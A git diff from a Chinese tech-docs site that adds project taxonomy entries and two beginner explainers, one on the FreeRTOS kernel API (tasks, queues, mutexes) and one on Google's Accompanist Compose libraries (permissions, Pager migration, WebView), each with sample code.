{"slug":"tensorflow","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} {"slug":"terraform","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} {"slug":"testing-library","area":"projects","theme":"CLI","themeId":"cli","subcategory":"工具库","source":"category","confidence":"high","rawCategory":"CLI"} +{"slug":"texstudio","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"textmate","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"textual","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"tflite-micro","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} {"slug":"the-silver-searcher","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"theia","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"thirdweb-sdk","area":"projects","theme":"区块链","themeId":"blockchain","subcategory":"链与合约","source":"candidates.topic","confidence":"high","rawCategory":"区块链"} +{"slug":"thorvg","area":"projects","theme":"其他","themeId":"other","subcategory":"综合","source":"fallback","confidence":"low","rawCategory":null} {"slug":"threejs","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} {"slug":"thrift","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"tidb","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} @@ -820,9 +885,11 @@ {"slug":"typeorm","area":"projects","theme":"数据库","themeId":"databases","subcategory":"ORM","source":"category","confidence":"high","rawCategory":"数据库"} {"slug":"typesense","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} {"slug":"ultralytics","area":"projects","theme":"通信","themeId":"communication","subcategory":"音视频媒体","source":"candidates.topic","confidence":"high","rawCategory":"通信"} +{"slug":"uni-app","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"移动端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"unified","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"projects","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"uniswap-v3","area":"projects","theme":"区块链","themeId":"blockchain","subcategory":"链与合约","source":"candidates.topic","confidence":"high","rawCategory":"区块链"} {"slug":"universal-ctags","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} +{"slug":"unqlite","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} {"slug":"unsloth","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} {"slug":"unstorage","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"projects","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"unstructured","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} @@ -876,6 +943,7 @@ {"slug":"wezterm","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"whisper","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} {"slug":"why-did-you-render","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"前端工具","source":"category","confidence":"high","rawCategory":"后端 API"} +{"slug":"wireguard-go","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} {"slug":"woodpecker","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} {"slug":"wormhole","area":"projects","theme":"区块链","themeId":"blockchain","subcategory":"链与合约","source":"candidates.topic","confidence":"high","rawCategory":"区块链"} {"slug":"wretch","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"前端工具","source":"category","confidence":"high","rawCategory":"后端 API"} @@ -897,6 +965,7 @@ {"slug":"zed","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"zellij","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"zephyr","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} +{"slug":"zeppelin","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"zettlr","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"zincsearch","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} {"slug":"zksync-era","area":"projects","theme":"区块链","themeId":"blockchain","subcategory":"链与合约","source":"candidates.topic","confidence":"high","rawCategory":"区块链"} diff --git a/data/taxonomy.json b/data/taxonomy.json index 1c3fb66ad..17d55d060 100644 --- a/data/taxonomy.json +++ b/data/taxonomy.json @@ -190,7 +190,8 @@ "projects::lottie": { "themeId": "dataviz", "subcategory": "动画" }, "projects::plane": { "themeId": "backend-api", "subcategory": "SaaS 应用" }, "projects::tanstack-query": { "themeId": "backend-api", "subcategory": "数据获取" }, - "projects::zod": { "themeId": "backend-api", "subcategory": "表单与校验" } + "projects::zod": { "themeId": "backend-api", "subcategory": "表单与校验" }, + "papers::compose-future-theorems": { "themeId": "formal-methods", "subcategory": "定理证明" } }, "subcategoryFromCategory": { "共识": "共识与复制", diff --git a/src/content/docs/papers/freertos-overview.md b/src/content/docs/papers/freertos-overview.md new file mode 100644 index 000000000..8189555c5 --- /dev/null +++ b/src/content/docs/papers/freertos-overview.md @@ -0,0 +1,280 @@ +--- +title: FreeRTOS Reference Manual — 嵌入式实时内核零基础导读 +来源: https://www.freertos.org/Documentation/RTOS_book.html +日期: 2026-06-13 +子分类: 嵌入式与 IoT +分类: 操作系统 +provenance: pipeline-v3 +--- + +## 先想成什么事 + +想象一家**只有一位厨师的快餐厨房**: + +- **单片机**就是这位厨师——同一时刻只能炒一道菜。 +- 厨房同时要处理:读温度传感器、响应按键、通过 Wi-Fi 上报数据、驱动电机。每件事都像一道「菜」,不能永远占着灶台。 +- **FreeRTOS** 就是墙上的**排班表 + 传菜窗口**:谁该先炒(优先级)、炒完让出灶台(抢占调度)、菜好了放窗口里等取(队列)、同一口锅不能两人同时用(互斥量)。 + +没有 RTOS 时,程序员用 `while(1)` 里塞满 `if` 和标志位,逻辑一多就变成「意大利面条代码」;任务一多,某个循环卡 200ms,按键就「失灵」。FreeRTOS 把「多件事并行发生」拆成**可命名的任务**,由内核在 Tick 中断驱动下切换,让高优先级、硬实时工作先跑,低优先级后台活慢慢干。 + +官方文档入口 [RTOS_book.html](https://www.freertos.org/Documentation/RTOS_book.html) 指向两类资料: + +| 资料 | 定位 | 适合谁 | +|------|------|--------| +| *Mastering the FreeRTOS Real Time Kernel*(GitHub / PDF) | 手把手教程,带示例工程 | 第一次上手、要跑通 Demo | +| *FreeRTOS Reference Manual*(PDF,如 V10.0.0) | API 按字母序的查阅手册 | 已会概念、写代码时查参数 | + +本篇笔记以 **Reference Manual + Kernel Book 第 4–8 章** 为主线,把零基础读者带到「能读懂 API 页、能写最小多任务程序」。 + +## 这篇文档在说什么 + +| 维度 | 内容 | +|------|------| +| 项目 | FreeRTOS™ — Amazon 维护的开源实时内核 | +| 许可 | MIT(内核);部分组件另有许可 | +| 典型平台 | ARM Cortex-M/R/A、RISC-V、ESP32、STM32、NXP 等 MCU | +| 文档结构 | 任务/调度 API、队列 API、信号量 API、软件定时器 API、事件组 API | +| 配套书 | Richard Barry,《Mastering the FreeRTOS Real Time Kernel》 | + +Reference Manual 不是「从原理讲到实现」的论文,而是**内核对外契约的索引**:每个 `xTaskCreate`、`xQueueSend` 的参数、返回值、阻塞行为、ISR 安全变体都写清楚。要理解**为什么**这样设计,需要配合 Kernel Book 里的状态机图和时序说明。 + +## 为什么值得学 + +| 场景 | FreeRTOS 提供的价值 | +|------|---------------------| +| 传感器 + 通信 + UI 三合一固件 | 任务隔离,模块边界清晰 | +| 电机控制、安全联锁 | 抢占式调度保证高优先级控制环 | +| 低功耗可穿戴 | Tickless 空闲、任务阻塞时不占 CPU | +| 从 Arduino `loop()` 迁移 | 可渐进引入,先 2 个任务再扩展 | +| 面试「嵌入式 OS」 | 任务/队列/信号量/优先级反转是高频题 | + +全球出货量极大的 MCU 生态(STM32 HAL、ESP-IDF、AWS IoT 参考设计)默认或推荐 FreeRTOS,读懂 Reference Manual 等于拿到了这些栈的**公共子集**。 + +## 核心概念一:任务(Task)与调度 + +在 FreeRTOS 里,**任务**是唯一可被调度的执行单元,实现为带无限循环的 C 函数: + +```c +void vSensorTask( void * pvParameters ) +{ + (void) pvParameters; + + for( ;; ) + { + read_sensors(); + vTaskDelay( pdMS_TO_TICKS( 100 ) ); /* 阻塞 100ms,让出 CPU */ + } +} +``` + +要点: + +- 任务函数**不能 return**;不再需要时调用 `vTaskDelete( NULL )` 删除自身。 +- `xTaskCreate()` 创建任务时需指定:函数指针、任务名、栈深度(以 `StackType_t` 字数计)、参数、优先级、句柄。 +- 单核上任意时刻**最多一个任务处于 Running**;其余在 Ready、Blocked 或 Suspended。 + +### 任务状态(简化) + +``` + ┌─────────────┐ + 就绪 ─────►│ Running │◄───── 抢占 / 恢复 + └──────┬──────┘ + │ vTaskDelay / 等队列 / 等信号量 + ▼ + ┌─────────────┐ + │ Blocked │ (不占 CPU,等「同步事件」) + └─────────────┘ +``` + +**Tick 中断**周期性唤醒调度器:`configTICK_RATE_HZ`(常见 1000,即 1ms 一拍)决定 `pdMS_TO_TICKS()` 的精度。 + +### 调度策略(`FreeRTOSConfig.h`) + +| 模式 | 行为 | +|------|------| +| 抢占 + 时间片(默认常见) | 最高优先级 Ready 任务运行;同优先级轮转 | +| 抢占、无时间片 | 同优先级任务需主动让出或阻塞才切换 | +| 协作式 | 任务必须 `taskYIELD()`,无抢占 | + +调度器只认**数字优先级**:数越大越优先(与部分 POSIX 系统相反,读文档时注意端口说明)。 + +## 核心概念二:队列(Queue)— 传菜窗口 + +队列是**线程安全的 FIFO**,数据**按值拷贝**进队列(不是只传指针——传指针时调用方要保证生命周期)。空队列读、满队列写可指定 **block time**,超时前任务进 Blocked,**不空转烧 CPU**。 + +典型模式:中断里 `xQueueSendFromISR()`,任务里 `xQueueReceive()` 处理: + +```c +QueueHandle_t xPacketQueue; + +void vNetworkTask( void * pvParameters ) +{ + uint8_t ucBuffer[ 64 ]; + + for( ;; ) + { + if( xQueueReceive( xPacketQueue, ucBuffer, portMAX_DELAY ) == pdPASS ) + { + process_packet( ucBuffer ); + } + } +} + +void vUartISR( void ) +{ + BaseType_t xHigherPriorityTaskWoken = pdFALSE; + uint8_t ucByte; + + ucByte = UART_READ_REG; + xQueueSendFromISR( xPacketQueue, &ucByte, &xHigherPriorityTaskWoken ); + portYIELD_FROM_ISR( xHigherPriorityTaskWoken ); +} +``` + +Reference Manual 第 3 章列出 `xQueueSend`、`xQueueSendToBack`、`xQueueSendToFront`、`xQueueOverwrite`(长度 1 时)及全部 `FromISR` 变体。记住:**在 ISR 里只能用 `FromISR` 后缀 API**,且部分 API 会要求 `portYIELD_FROM_ISR` 触发立即切换。 + +## 核心概念三:信号量与互斥量 + +| 类型 | 用途 | 类比 | +|------|------|------| +| 二进制信号量 | 任务↔中断、任务↔任务**同步**(「事件发生」) | 门铃响一声 | +| 计数信号量 | 资源池 N 个槽位 | 停车场剩余车位显示 | +| 互斥量(Mutex) | **互斥访问**共享资源,带优先级继承 | 厕所门锁,外面排队 | + +**互斥量 vs 二进制信号量**:互斥量有「持有者」概念,且启用**优先级继承**——高优先级任务等低优先级任务手里的 mutex 时,临时抬高持有者优先级,减轻**优先级反转**。二进制信号量没有继承,不适合长期占资源的互斥场景。 + +```c +SemaphoreHandle_t xSpiMutex; + +void vHighPriorityTask( void * pvParameters ) +{ + for( ;; ) + { + if( xSemaphoreTake( xSpiMutex, portMAX_DELAY ) == pdTRUE ) + { + spi_transfer( ... ); + xSemaphoreGive( xSpiMutex ); + } + vTaskDelay( 1 ); + } +} +``` + +`configUSE_MUTEXES` 须为 1 才能使用 mutex API。递归互斥量(`xSemaphoreCreateRecursiveMutex`)允许同一任务多次 Take,需相同次数 Give。 + +## 核心概念四:软件定时器与事件组(手册其余章节) + +- **软件定时器**(第 5 章):由 **Timer Service 守护任务** 在回调里执行,回调应尽量短;`xTimerPendFunctionCallFromISR` 可把耗时逻辑推迟到任务上下文。 +- **事件组**(第 6 章):一位图上的多条件等待(「等事件 A **且** B」或「A **或** B」),适合协议状态机。 +- **任务通知**(新代码更推荐):每任务一个 32 位通知值,比队列/信号量更轻,可替代部分二值同步场景。 + +Reference Manual 附录说明 API 前缀:`v` 返回 void、`x` 返回 BaseType_t、`pv` 返回指针等——查手册时按**函数名主体**字母序,而非前缀。 + +## 最小可运行骨架(第二段完整示例) + +下面把「传感器任务 + 打印任务 + 队列」拼成入门模板(需自行补 `FreeRTOSConfig.h` 与移植层): + +```c +#include "FreeRTOS.h" +#include "task.h" +#include "queue.h" +#include + +static QueueHandle_t xLogQueue; + +typedef struct { int temperature; int humidity; } SensorReading_t; + +static void vSensorTask( void * pvParameters ) +{ + SensorReading_t xReading; + + for( ;; ) + { + xReading.temperature = read_temp(); + xReading.humidity = read_humidity(); + xQueueSend( xLogQueue, &xReading, 0 ); + vTaskDelay( pdMS_TO_TICKS( 500 ) ); + } +} + +static void vLoggerTask( void * pvParameters ) +{ + SensorReading_t xReading; + + for( ;; ) + { + if( xQueueReceive( xLogQueue, &xReading, portMAX_DELAY ) == pdPASS ) + { + printf( "T=%d H=%d\n", xReading.temperature, xReading.humidity ); + } + } +} + +int main( void ) +{ + hardware_init(); + + xLogQueue = xQueueCreate( 4, sizeof( SensorReading_t ) ); + + xTaskCreate( vSensorTask, "Sensor", 256, NULL, 2, NULL ); + xTaskCreate( vLoggerTask, "Logger", 256, NULL, 1, NULL ); + + vTaskStartScheduler(); /* 不应返回 */ + for( ;; ) {} +} +``` + +创建顺序无关;`vTaskStartScheduler()` 之后内核接管,Idle 任务在无事可做时运行(可挂 `vApplicationIdleHook` 进低功耗)。 + +## 配置与移植:读手册时要对照的文件 + +| 文件 / 符号 | 作用 | +|-------------|------| +| `FreeRTOSConfig.h` | 功能开关:抢占、Tick 频率、堆大小、钩子、mutex | +| `port.c` / `portmacro.h` | 上下文切换、临界区、栈帧布局(因 CPU 而异) | +| `heap_x.c` | 动态分配策略(heap_4 最常用:合并相邻空闲块) | +| `configMAX_PRIORITIES` | 合法优先级 0 … N-1 | +| `configMINIMAL_STACK_SIZE` | 创建任务时的栈字数参考下限 | + +Reference Manual 描述的是**可移植 API**;具体某条 API 是否 ISR 安全、临界区是关中断还是升 BASEPRI,以对应 **port 文档**为准。 + +## 常见坑与手册里的线索 + +| 现象 | 可能原因 | 手册/书里的线索 | +|------|----------|-----------------| +| 栈溢出 HardFault | `usStackDepth` 太小 | `uxTaskGetStackHighWaterMark()` | +| 中断里卡死 | 用了非 `FromISR` API | 各章 ISR 变体表 | +| 优先级反转延迟大 | 用二进制信号量当锁 | 第 4 章 Mutex + 优先级继承 | +| `xQueueSend` 丢数据 | 队列满且 block=0 | 增大长度或消费者提速 | +| 定时器回调太慢 | 在 Tmr Svc 任务里做重活 | `xTimerPendFunctionCall` | + +## 学习路径建议 + +1. **先跑官方 Demo**(Kernel Book 配套例程):LED 闪烁双任务、队列中断到任务。 +2. **通读 Kernel Book 第 4 章(任务)+ 第 6 章(队列)+ 第 8 章(互斥)** — 建立状态机直觉。 +3. **把 Reference Manual 当字典**:写 `xTaskCreate` 时查参数单位是**字不是字节**;写 ISR 时查是否必须 `GiveFromISR`。 +4. 需要低功耗时读 Tickless Idle;需要多核时查 SMP 分支文档(与经典单核手册章节有增补)。 + +## 与同类 RTOS 的粗对比 + +| | FreeRTOS | Zephyr | RT-Thread | +|--|----------|--------|-----------| +| 定位 | 精简内核 + 可选组件 | 完整 IoT OS + 设备树 | 国内生态丰富 | +| 配置 | `FreeRTOSConfig.h` 裁剪 | Kconfig | Kconfig / menuconfig | +| 文档 | Reference Manual 偏 API | 极全在线文档 | 中文社区强 | +| 适合 | 资源紧、要可控 TCB 的 MCU | 联网传感器网格 | 教学与国内供应链 | + +不必「只会一个」;理解 FreeRTOS 的任务/队列模型后,迁移到 Zephyr 的 `k_thread` / `k_msgq` 主要是 API 换名。 + +## 小结 + +FreeRTOS Reference Manual 是**嵌入式多任务编程的契约清单**:任务怎么创建、阻塞多久、ISR 能调谁,都写在五章 API 里。零基础读者应先建立**厨房排班 + 传菜窗口 + 厕所锁**的直觉,再用 Kernel Book 理解状态与调度,最后边写固件边翻手册查 `block time` 和 `FromISR`。 + +下一层深入:读 `tasks.c` 里 `vTaskSwitchContext` 与端口汇编;对照 ARM Cortex-M 的 PendSV 理解「上下文切换究竟切换了什么」。那是实现课,不是 Reference Manual 的范围——但手册里每一个 `portYIELD` 背后,都是那次切换。 + +## 参考链接 + +- [FreeRTOS 文档入口(RTOS_book.html)](https://www.freertos.org/Documentation/RTOS_book.html) +- [Mastering the FreeRTOS Real Time Kernel(GitHub)](https://github.com/FreeRTOS/FreeRTOS-Kernel-Book) +- [FreeRTOS Reference Manual V10.0.0(PDF)](https://www.freertos.org/media/2025/FreeRTOS_Reference_Manual_V10.0.0.pdf) +- [AWS FreeRTOS 用户指南 — 内核基础](https://docs.aws.amazon.com/freertos/latest/userguide/freertos-kernel.html) diff --git a/src/content/docs/projects/accompanist.md b/src/content/docs/projects/accompanist.md new file mode 100644 index 000000000..7d435185d --- /dev/null +++ b/src/content/docs/projects/accompanist.md @@ -0,0 +1,295 @@ +--- +title: Accompanist — Jetpack Compose 的「补丁工具箱」 +来源: https://github.com/google/accompanist +日期: 2026-06-13 +子分类: 移动端 +分类: 后端 API +难度: 初级 +provenance: pipeline-v3 +--- + +## 是什么 + +**Accompanist**(字面意思是「伴奏者」)是 Google 维护的一组 **Jetpack Compose 扩展库**,专门填补官方 Compose 工具箱里暂时还没有、但 App 开发又经常需要的 API 缺口。 + +日常类比:你搬进一套精装公寓(Jetpack Compose),厨房、卧室、客厅一应俱全;但发现**没有窗帘轨、没有门铃、没有阳台晾衣架**——这些小件官方还没标配。Accompanist 就像一家**宜家配件区**:先卖过渡款(权限弹窗封装、WebView 包装、主题适配器),等官方家具厂把同款做进主线(`androidx.compose.*`),配件就下架、标 Deprecated,让你迁回「原厂件」。 + +项目 2020 年随 Compose 早期一起开源,GitHub 7k+ star。定位是 **labs 试验田**:验证 API 设计、收集开发者体验,成熟后 **upstream 进 AndroidX**,再从 Accompanist 移除。因此读文档时要习惯看到「本库已废弃,请改用 `androidx…`」——这不是烂尾,而是**成功毕业**。 + +## 为什么重要 + +做 Android Compose 开发时,Accompanist 帮你回答这些问题: + +- **运行时权限**在 Compose 里怎么声明式处理,而不是回退到 `ActivityCompat.requestPermissions` +- 以前用 **ViewPager** 做左右滑页,迁移到 Compose 后该用谁(历史答案是 Accompanist Pager,今天是 `foundation.pager`) +- **WebView、系统栏颜色、WindowInsets** 等在 View 时代有现成方案,Compose 早期缺口由谁补 +- 如何判断一个依赖该不该继续加:看 README 的 **Deprecated / Upstream 表**,避免在新项目里踩已迁移的 API + +不理解 Accompanist 的「过渡库」定位,容易在新项目里仍引用已废弃的 `accompanist-pager`,或在权限场景手写 `rememberLauncherForActivityResult` 却漏掉 rationale 流程。 + +## 核心概念 + +### 1. 多模块(Multi-artifact)结构 + +Accompanist 不是单一 jar,而是**按能力拆包**,Gradle 里按需引入,例如: + +| Maven 坐标前缀 | 典型用途 | 现状(2024+) | +| --- | --- | --- | +| `accompanist-permissions` | 相机、定位等运行时权限 | 维护中,API 标 `@ExperimentalPermissionsApi` | +| `accompanist-adaptive` | 折叠屏 / 大屏自适应布局工具 | 活跃 | +| `accompanist-webview` | Compose 包装 `android.webkit.WebView` | 已废弃,建议 fork 自管 | +| `accompanist-pager` | 横向/纵向翻页 | 已废弃 → `androidx.compose.foundation.pager` | +| `accompanist-systemuicontroller` | 状态栏/导航栏颜色 | 已废弃 → `Activity.enableEdgeToEdge()` 等 | +| `accompanist-navigation-animation` | 导航转场动画 | 已废弃 → `navigation-compose` 内置 | + +类比:不是买一箱「万能胶」,而是按问题买「权限胶带」「网页展示胶带」;胶带用完即换官方螺丝固定。 + +### 2. Labs → Upstream 生命周期 + +每个子库大致经历: + +1. **Incubating**:API 可能变,文档带 Experimental 注解 +2. **Stable enough**:大量 App 采用,Google 收集反馈 +3. **Upstream**:等价能力进入 `androidx.compose.foundation` / `navigation` / `activity` +4. **Deprecated & frozen**:Accompanist 侧只修严重 bug,不再加功能 + +读 [官方 Medium 说明(2023-08)](https://medium.com/androiddevelopers/an-update-on-jetpack-compose-accompanist-libraries-august-2023-ac4cbbf059f1) 可核对各模块当前阶段。 + +### 3. Permissions:`PermissionState` 状态机 + +`rememberPermissionState(permission)` 返回可组合里**可记忆**的权限状态对象,核心字段: + +- `status.isGranted`:是否已授权 +- `status.shouldShowRationale`:是否应向用户解释「为何需要此权限」(用户曾拒绝且系统允许展示说明) +- `launchPermissionRequest()`:触发系统弹窗——**必须在非 Composable 回调里调用**(如 `Button.onClick`),不能在 `@Composable` 函数体顶层直接调 + +工作流与 [Android 官方权限指南](https://developer.android.com/training/permissions/requesting) 一致,只是从 Imperative Activity 换成 Declarative Compose。 + +### 4. 与 `rememberLauncherForActivityResult` 的关系 + +不用 Accompanist 时,你可以用 Activity Result API 自己封装权限;Accompanist 的价值是**把 granted / denied / rationale 分支收敛成统一 `PermissionState`**,减少样板代码。平台能力没有扩展——例如**无法区分**「首次请求」与「用户勾选不再询问」的底层差异,文档也明确说明这一限制。 + +### 5. 已迁移能力:Pager 对照 + +旧代码: + +```kotlin +import com.google.accompanist.pager.HorizontalPager +import com.google.accompanist.pager.rememberPagerState +``` + +应改为: + +```kotlin +import androidx.compose.foundation.pager.HorizontalPager +import androidx.compose.foundation.pager.rememberPagerState +``` + +`pageCount` 从 `rememberPagerState` 挪到 `HorizontalPager` 的 `pageCount` 参数;`currentPageOffset` 更名为 `currentPageOffsetFraction`。翻页指示器 `accompanist-pager-indicators` 仍可与官方 `PagerState` 配合,或自行实现 `Modifier` 画圆点。 + +## 依赖与版本 + +在 `libs.versions.toml` 或 `build.gradle.kts` 中(版本号以 [Maven Central](https://central.sonatype.com/search?q=accompanist) 为准): + +```kotlin +dependencies { + // 权限(Compose 项目最常见仍活跃依赖) + implementation("com.google.accompanist:accompanist-permissions:0.37.3") + + // 自适应布局(按需) + // implementation("com.google.accompanist:accompanist-adaptive:0.37.3") + + // WebView — 仅维护模式,新项目请评估是否 fork + // implementation("com.google.accompanist:accompanist-webview:0.37.3") +} +``` + +`AndroidManifest.xml` 里声明权限,例如相机: + +```xml + +``` + +## 实践案例 + +### 案例 1:相机权限完整分支(Permissions) + +典型模式:已授权则展示功能;未授权则根据 `shouldShowRationale` 展示不同文案,按钮触发请求。 + +```kotlin +@file:OptIn(ExperimentalPermissionsApi::class) + +import android.Manifest +import androidx.compose.foundation.layout.Column +import androidx.compose.material3.Button +import androidx.compose.material3.Text +import androidx.compose.runtime.Composable +import com.google.accompanist.permissions.ExperimentalPermissionsApi +import com.google.accompanist.permissions.isGranted +import com.google.accompanist.permissions.rememberPermissionState +import com.google.accompanist.permissions.shouldShowRationale + +@Composable +fun CameraFeatureGate() { + val cameraPermission = rememberPermissionState(Manifest.permission.CAMERA) + + when { + cameraPermission.status.isGranted -> { + // 真正的相机预览 Composable + Text("相机已就绪,可显示 Preview / 拍照 UI") + } + else -> { + val message = if (cameraPermission.status.shouldShowRationale) { + "扫码需要相机权限,请在设置中允许访问相机。" + } else { + "本功能需要相机权限才能使用。" + } + Column { + Text(message) + Button(onClick = { cameraPermission.launchPermissionRequest() }) { + Text("授予权限") + } + } + } + } +} +``` + +要点:`launchPermissionRequest()` 放在 `onClick` 里;`when` 分支可根据产品再加「去设置页」Intent(`ACTION_APPLICATION_DETAILS_SETTINGS`),那部分 Accompanist 不封装,需自行处理。 + +### 案例 2:一次请求多权限(定位 + 蓝牙扫描场景) + +```kotlin +@Composable +fun LocationAndBluetoothGate(content: @Composable () -> Unit) { + val permissions = rememberMultiplePermissionsState( + listOf( + Manifest.permission.ACCESS_FINE_LOCATION, + Manifest.permission.BLUETOOTH_SCAN, // API 31+ + ) + ) + + if (permissions.allPermissionsGranted) { + content() + } else { + Column { + Text("需要定位与附近设备权限以扫描蓝牙信标。") + Button(onClick = { permissions.launchMultiplePermissionRequest() }) { + Text("继续") + } + } + } +} +``` + +`rememberMultiplePermissionsState` 适合 onboarding 一步收齐多个相关权限;若权限彼此独立,拆成多个 `rememberPermissionState` 通常 UX 更清晰。 + +### 案例 3:WebView(了解即可,新项目谨慎) + +Accompanist WebView 已废弃,但读懂 API 有助于维护老代码或 fork 实现: + +```kotlin +@Composable +fun HelpCenterWebPage(url: String) { + val state = rememberWebViewState(url = url) + + WebView( + state = state, + onCreated = { webView -> + webView.settings.javaScriptEnabled = true + }, + captureBackPresses = true, // WebView 内可后退时拦截系统返回键 + ) + + if (state.isLoading) { + CircularProgressIndicator() + } +} +``` + +`rememberWebViewState` 记住 URL、加载进度;`WebView` Composable 负责 AndroidView 互操作。官方建议:**复制源码进工程按业务裁剪**,而不是依赖长期演进。 + +### 案例 4:从 Accompanist Pager 迁移到官方 Pager + +```kotlin +// 现代写法 — androidx.compose.foundation.pager +@Composable +fun OnboardingPager(pages: List<@Composable () -> Unit>) { + val pagerState = rememberPagerState(pageCount = { pages.size }) + + HorizontalPager(state = pagerState) { page -> + pages[page]() + } + + Row { + repeat(pages.size) { index -> + val selected = pagerState.currentPage == index + Box( + Modifier + .padding(4.dp) + .size(if (selected) 10.dp else 6.dp) + .background( + if (selected) Color.Black else Color.Gray, + CircleShape + ) + ) + } + } +} +``` + +指示器逻辑自己写十行即可,不必再引 `accompanist-pager-indicators`,除非你想复用现成动画。 + +## 与周边技术的关系 + +```text +Android View 体系 Jetpack Compose (androidx) + │ │ + │ 权限 / WebView / Pager 缺口 │ + └──────────► Accompanist ◄─────┘ + │ + │ upstream + ▼ + androidx.compose.foundation + androidx.navigation.compose + androidx.activity (EdgeToEdge) +``` + +- **Coil / Glide**:管图片;Accompanist 不管 bitmap 加载 +- **Navigation Compose**:路由与参数;Accompanist 曾补动画,现已合并 +- **Material3**:主题与组件;Accompanist 的 MDC/AppCompat Theme Adapter 已废弃,应直接用 Material3 `MaterialTheme` +- **Compose Multiplatform**:Accompanist 面向 **Android**;KMP 项目权限/WebView 需各平台各自方案 + +## 常见坑 + +1. **在 `@Composable` 函数体里直接调 `launchPermissionRequest()`** + 会违反 Compose 副作用规则;放 `LaunchedEffect` 也要用户手势触发时慎用——优先按钮 `onClick`。 + +2. **新项目仍引入 `accompanist-pager`** + Android Studio Lint 会提示迁移;直接用 `foundation.pager` 可减少未来删除依赖的工作量。 + +3. **以为 Accompanist 能绕过「不再询问」** + 用户永久拒绝后只能引导去系统设置;库不会 magically 再弹系统框。 + +4. **WebView 默认禁用 JavaScript** + 需在 `onCreated` 里开 `settings.javaScriptEnabled`;同时评估 XSS、混合内容安全风险。 + +5. **忽略 `@ExperimentalPermissionsApi`** + 模块 API 仍可能微调;全项目统一 `@OptIn` 或封装一层自己的 `Permissions.kt` facade。 + +## 学习路径建议 + +1. 先掌握 Compose 基础(状态、副作用、`AndroidView` 互操作) +2. 读 [permissions 官方文档](https://google.github.io/accompanist/permissions/),在真机跑通案例 1 +3. 查 README 的 **Deprecated** 列表,确认你需要的模块是否已 upstream +4. 若做折叠屏 / 大屏,再读 `accompanist-adaptive` +5. 关注 [Android Developers Blog](https://android-developers.googleblog.com/) 的 Compose 发布说明,比死记 Accompanist 版本号更重要 + +## 小结 + +Accompanist 是 Compose 生态的**过渡伴奏**:在官方 API 缺席时提供可生产的实现,在官方 API 就绪后主动退场。零基础开发者应记住两句话—— + +- **权限**:现阶段仍可放心用 `accompanist-permissions`,但包在自家 facade 里,方便将来换实现。 +- **翻页、Insets、导航动画、系统栏**:优先查 `androidx` 是否已有再决定是否加 Accompanist 依赖。 + +把它当成「阅读官方 Compose 演进路线图」的入口,比当成「长期核心框架」更准确;这样既不轻视它历史上的价值,也不会在新项目里堆一堆已废弃的 artifact。 diff --git a/src/content/docs/projects/aframe.md b/src/content/docs/projects/aframe.md new file mode 100644 index 000000000..e19c0bff3 --- /dev/null +++ b/src/content/docs/projects/aframe.md 